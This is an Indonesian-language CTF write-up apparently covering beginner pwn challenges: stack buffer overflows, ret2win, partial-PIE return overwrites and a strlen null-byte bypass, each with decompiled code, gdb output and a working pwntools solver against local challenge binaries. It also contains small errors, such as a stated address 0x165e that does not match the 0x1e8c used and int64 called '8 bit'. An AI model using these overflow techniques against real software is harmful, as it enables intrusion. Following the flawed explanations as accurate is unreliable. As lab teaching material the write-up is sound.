Buffer Overflow Dan Ret2win
Deskripsi
Di sini saya akan nulis solver, penjelasan, sama bagaimana saya bisa terpikirkan solvingnya. Biar apa? biarin. Soalnya gw pelupa, dan ya biar ngurangi perfeksionis lah ya, tetep nulis walau jelek, tetap upload walau ga sempurna, tetep mandi walaupun udah gantenk. Langsung aja
Simple Buffer Overflow
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
__int64 buf[4]; // [rsp+30h] [rbp-30h] BYREF
int v4; // [rsp+50h] [rbp-10h]
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v4 = 0;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
if ( (int)read(0, buf, 0x1000uLL) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( v4 )
win();
puts("Goodbye!");
return 0LL;
}
Dari hasil decompile di atas, terlihat bahwa ketika v4 terpenuhi atau v4 = 1, maka program akan memanggil function win() yang nantinya akan menampilkan flagnya. Nah gimana biar v4nya bisa dimanipulasi? Kalau kita lihat di bagian deklarasi variabel, di atas v4 kan ada int64 buf[4]
tuh. Artinya apa? int64 itu 8 bit, dan bufnya array 4, berarti kita perlu ngeoverflow 8 * 4.
from pwn import *
context.binary = ELF('/chall')
p = process()
p.send(b"A" * (8 * 4) + b"1")
p.interactive()
Exploit di atas akan menimpa atau ngeoverflow si variabel buf, kan tadi udah dijelasin ya kalau v4 berada di bawah buf, nah setelah si bufnya ketimpa semua, input selanjutnya akan masuk ke v4, yang mana kalau di exploit di atas adalah 1.
Buffer Overflow Variable
Kalau di challenge sebelumnya kan variabelnya perlu di set 1, nah kalau ini perlu ngeset si variable dengan isi tertentu, ini hasil decompilenya.
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
__int64 buf[4]; // [rsp+30h] [rbp-30h] BYREF
__int64 v4; // [rsp+50h] [rbp-10h]
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v4 = 0LL;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
if ( (int)read(0, buf, 0x1000uLL) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( HIDWORD(v4) )
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if ( (_DWORD)v4 == 0x3268AA40 )
win();
puts("Goodbye!");
return 0LL;
}
Bisa kita lihat di atas, kalau variable v4nya minta diset 0x3268AA40
untuk mendapatkan win() nya. Caranya gimana? sama kayak tadi, bedanya kalau sebelumnya kan 1, nah kalau di sini dengan hex tersebut, oiya perhatikan juga arsitekturnya berapa bit dan endianya apa. Di sini 64 bit dan little endian.
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
Berikut solvernya:
from pwn import *
context.binary = ELF('/chall')
p = process()
p.send(b"A" * (8 * 4) + p64(0x3268AA40))
p.interactive()
p64 itu apa? p64 itu gunanya untuk ngubah si hex di dalemnya, menjadi sebuah bytes 64bit, kenapa diubah ke bytes? Karena biar bisa kebaca programnya, perlu ke bytes.
Simple Ret2Win
Di chall sebelumnya kan winnya kepanggil kalau v4 terpenuhi. Kalau di chall ini, ngga ada yang manggil win, jadi perlu manual, istilah kata-nya ret2win.
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
__int64 buf[13]; // [rsp+20h] [rbp-80h] BYREF
int v4; // [rsp+88h] [rbp-18h]
char v5; // [rsp+8Ch] [rbp-14h]
int v6; // [rsp+94h] [rbp-Ch]
size_t nbytes; // [rsp+98h] [rbp-8h]
memset(buf, 0, sizeof(buf));
v4 = 0;
v5 = 0;
nbytes = 4096LL;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
v6 = read(0, buf, 0x1000uLL);
if ( v6 < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
puts("Goodbye!");
return 0LL;
}
Jadi, exploitnya nanti isinya buffer * padding + address win. Addressnya dapetnya dari mana? dari gdb. Tinggal panggil info func
aja sih, kayak di bawah ini.
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010d0 __errno_location@plt
0x00000000004010e0 puts@plt
0x00000000004010f0 write@plt
0x0000000000401100 printf@plt
0x0000000000401110 geteuid@plt
0x0000000000401120 read@plt
0x0000000000401130 setvbuf@plt
0x0000000000401140 open@plt
0x0000000000401150 exit@plt
0x0000000000401160 strerror@plt
0x0000000000401170 _start
0x00000000004011a0 _dl_relocate_static_pie
0x00000000004011b0 deregister_tm_clones
0x00000000004011e0 register_tm_clones
0x0000000000401220 __do_global_dtors_aux
0x0000000000401250 frame_dummy
0x0000000000401256 bin_padding
0x0000000000401f7b win
0x0000000000402082 challenge
0x000000000040219d main
0x0000000000402230 __libc_csu_init
0x00000000004022a0 __libc_csu_fini
0x00000000004022a8 _fini
pwndbg>
Kita dapetin address winnya di 0x0000000000401f7b
paddingnya berapa? Di belakang buf kan ada kyk comment // [rsp+20h] [rbp-80h] BYREF
gitu, nah paddingnya itu 80h + 8 bit. 8 bit dapet dari mana? int64, kalau int doang berarti penjumlahnya 4 bit.
Berikut exploitnya
from pwn import *
context.binary = ELF('/chall')
p = process()
p.send(b"A" * (0x80 + 8) + p64(0x401f7b))
p.interactive()
Ret2Win with Function Parameter
Challenge ini sama kyk sebelumnya, bedanya cuma di function winnya ada parameter tambahan
void __fastcall win_authed(int a1)
{
int *v1; // rax
char *v2; // rax
int *v3; // rax
char *v4; // rax
if ( a1 == 0x1337 )
{
puts("You win! Here is your flag:");
flag_fd_5701 = open("/flag", 0);
if ( flag_fd_5701 < 0 )
{
v1 = __errno_location();
v2 = strerror(*v1);
printf("\n ERROR: Failed to open the flag -- %s!\n", v2);
if ( geteuid() )
{
puts(" Your effective user id is not 0!");
puts(" You must directly run the suid binary in order to have the correct permissions!");
}
exit(-1);
}
flag_length_5702 = read(flag_fd_5701, &flag_5700, 0x100uLL);
if ( flag_length_5702 <= 0 )
{
v3 = __errno_location();
v4 = strerror(*v3);
printf("\n ERROR: Failed to read the flag -- %s!\n", v4);
exit(-1);
}
write(1, &flag_5700, flag_length_5702);
puts("\n");
}
}
Cara bypassnya gimana? cukup ambil address di mana dia cat flagnya buat dijadiin return address.
pwndbg> disass win_authed
Dump of assembler code for function win_authed:
0x00000000004021f2 <+0>: endbr64
0x00000000004021f6 <+4>: push rbp
0x00000000004021f7 <+5>: mov rbp,rsp
0x00000000004021fa <+8>: sub rsp,0x10
0x00000000004021fe <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000402201 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x0000000000402208 <+22>: jne 0x40230c <win_authed+282>
0x000000000040220e <+28>: lea rdi,[rip+0xdf3] # 0x403008
0x0000000000402215 <+35>: call 0x4010e0 <puts@plt>
0x000000000040221a <+40>: mov esi,0x0
0x000000000040221f <+45>: lea rdi,[rip+0xdfe] # 0x403024
0x0000000000402226 <+52>: mov eax,0x0
0x000000000040222b <+57>: call 0x401140 <open@plt>
0x0000000000402230 <+62>: mov DWORD PTR [rip+0x2e0a],eax # 0x405040 <flag_fd.5701>
0x0000000000402236 <+68>: mov eax,DWORD PTR [rip+0x2e04] # 0x405040 <flag_fd.5701>
0x000000000040223c <+74>: test eax,eax
0x000000000040223e <+76>: jns 0x40228d <win_authed+155>
Kalau saya mikirnya sih ambil addressnya di instruksi yang depannya j
aja sih, kenapa? karena j
itu ibarat if, jadi kalau dipanggil, bisa ngebypass ifnya. Nah if yang perlu kita bypass kan if yang pertama yaitu if (a1 = 0x1337)
, jadi saya ambilnya j
yang pertama, yaitu jne 0x40230c <win_authed+282>
.
Solver :
from pwn import *
context.binary = ELF('/challenge/binary-exploitation-control-hijack-2')
p = process()
p.send(b"A" * (0x40 + 8) + p64(0x402208))
p.interactive()
Ret2Win with Function Parameter PIE Enabled
Sama kyk sebelumnya, bedanya ini PIE enabled. Sesuai deskripsi chall sih, perlu bruteforce dikit. Jadi nantinya 1 exploit dicoba berulang-ulang sampe dapetin flagnya.
Jadi, si PIE ini bakal ngerandomize base address, nah kalau di challenge sebelumnya kita ret2win ke ret address yang diambil di gdb, di chall ini gabisa langsung kayak gitu, soalnya base addressnya random. Seperti yang udah dijelasin di deskripsi chall juga kalau si PIE itu cuma ngerandom address awalnya aja, 2 byte terakhir ga dirandom, tetep sama, jadi kita perlu jadiin 2 byte terakhir tsb buat ret addressnya. Ini gdbnya.
pwndbg> disass win_authed
Dump of assembler code for function win_authed:
0x0000000000001e70 <+0>: endbr64
0x0000000000001e74 <+4>: push rbp
0x0000000000001e75 <+5>: mov rbp,rsp
0x0000000000001e78 <+8>: sub rsp,0x10
0x0000000000001e7c <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000001e7f <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x0000000000001e86 <+22>: jne 0x1f8a <win_authed+282>
0x0000000000001e8c <+28>: lea rdi,[rip+0x1175] # 0x3008
0x0000000000001e93 <+35>: call 0x10f0 <puts@plt>
0x0000000000001e98 <+40>: mov esi,0x0
0x0000000000001e9d <+45>: lea rdi,[rip+0x1180] # 0x3024
0x0000000000001ea4 <+52>: mov eax,0x0
0x0000000000001ea9 <+57>: call 0x1150 <open@plt>
0x0000000000001eae <+62>: mov DWORD PTR [rip+0x318c],eax # 0x5040 <flag_fd.5701>
0x0000000000001eb4 <+68>: mov eax,DWORD PTR [rip+0x3186] # 0x5040 <flag_fd.5701>
0x0000000000001eba <+74>: test eax,eax
Kalau tadi kita ambil address dari jne, sekarang kita ambil ke lea aja, karena saya kemarin salah dikit, di lea itu lebih aman dan pasti lah, sedangkan jne bisa aja case atau flagnya ga terpenuhi. 2 Byte terakhir dari leanya yaitu 0x165e
Berikut solvernya
from pwn import *
context.binary = ELF('/chall')
context.log_level = 'error'
p = process()
payload = b"A" * (0x30 + 8)
payload += p16(0x1e8c)
p.send(payload)
out = p.recvall(timeout=1)
print(out.decode(errors='ignore'))
p.close()
Di atas adalah solvernya, mengapa p16? karena kita fokus pada 2 byte terakhir saja, dan coba exploitnya berkali kali sesuai deskripsi.
String Length
Di sini awalnya gw bingung, cm pas liat hasil disassembly kok ada if length < 44. Terus nama file challnya null write gitu, gw akhire nangkep objektifnya bakal kemana. Ini disassembly challengenya.
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
__int64 dest[3]; // [rsp+20h] [rbp-40h] BYREF
int v4; // [rsp+38h] [rbp-28h]
__int16 v5; // [rsp+3Ch] [rbp-24h]
char v6; // [rsp+3Eh] [rbp-22h]
size_t v7; // [rsp+40h] [rbp-20h]
int v8; // [rsp+4Ch] [rbp-14h]
void *buf; // [rsp+50h] [rbp-10h]
size_t size; // [rsp+58h] [rbp-8h]
memset(dest, 0, sizeof(dest));
v4 = 0;
v5 = 0;
v6 = 0;
size = 4096LL;
buf = malloc(0x1000uLL);
if ( !buf )
__assert_fail("tmp_input != 0", "/chall.c", 0x49u, "challenge");
printf("Send your payload (up to %lu bytes)!\n", size);
v8 = read(0, buf, size);
v7 = strlen((const char *)buf);
if ( v7 > 0x1E )
__assert_fail("string_length < 31", "/chall.c", 0x4Du, "challenge");
memcpy(dest, buf, v8);
if ( v8 < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
puts("Goodbye!");
return 0LL;
}
Bedanya dari challenge sebelumnya adalah challenge sebelumnya input masuk langsung pake gets(), kalau di chall ini, input masuk lewat read(), dan yang bikin vuln adalah memcpy yang full mindah tanpa dikasih bates. Ini potongannya.
v8 = read(0, buf, size);
v7 = strlen((const char *)buf);
if ( v7 > 30 )
__assert_fail("string_length < 31", "/chall.c", 0x4Du, "challenge");
memcpy(dest, buf, v8);
Kenapa bisa vuln? karena program ngasih validasi cuma lewat strlen(), dan ini masih bisa lolos, bikin mempcy mindahin input buf ke dest sepenuhnya. Kenapa udah di strlen() masih bisa lolos? Karena kalau kita inputin null ‘\x00‘, si strlen ga ngedetek ini. Misalnya, kan buat ngeoverflow variabel dest, kita perlu 72 byte, dan program ngasih validasi kalau inputnya ngga boleh lebih dari 30 pake strlen. Misalnya kita kasih b”A” * 72 gini kan pasti gabisa ya, gimana kalau kita kasih b”A” 28 + b”\x00” * 44. Pasti akan lolos. Di bawah ini hasil gdb.
pwndbg> disass win_authed
Dump of assembler code for function win_authed:
0x0000000000002278 <+0>: endbr64
0x000000000000227c <+4>: push rbp
0x000000000000227d <+5>: mov rbp,rsp
0x0000000000002280 <+8>: sub rsp,0x10
0x0000000000002284 <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000002287 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x000000000000228e <+22>: jne 0x2392 <win_authed+282>
0x0000000000002294 <+28>: lea rdi,[rip+0xd6d] # 0x3008
0x000000000000229b <+35>: call 0x1130 <puts@plt>
0x00000000000022a0 <+40>: mov esi,0x0
0x00000000000022a5 <+45>: lea rdi,[rip+0xd78] # 0x3024
0x00000000000022ac <+52>: mov eax,0x0
Seperti biasa kita akan ambil address yang udah melewati parameter check yaitu di lea di bawah jne pertama 0x0000000000002294
. Ini masih sama sebelumnya btw, PIE enabled, jadi kita perlukan 2 byte terakhir yaitu 0x2294. Berikut exploitnya.
from pwn import *
context.binary = ELF('/chall')
context.log_level = 'info'
p = process()
payload = b"A" * 28
payload += b"\x00" * 44
payload += p16(0x2294)
p.send(payload)
print(p.recvall(timeout=1).decode(errors='ignore'))
Kesimpulan
Kesimpulannya adalah di sini kita belajar dasar-dasar buffer overflow dan ret2win, selain itu kita juga belajar bagaimana bypass program yang diproteksi partial PIE tanpa adanya format string vulnerability, juga kita bisa ngebypass strlen pake null bytes, terimakasih sudah membaca sampai series ini, jumpa lagi di series selanjutnya :D.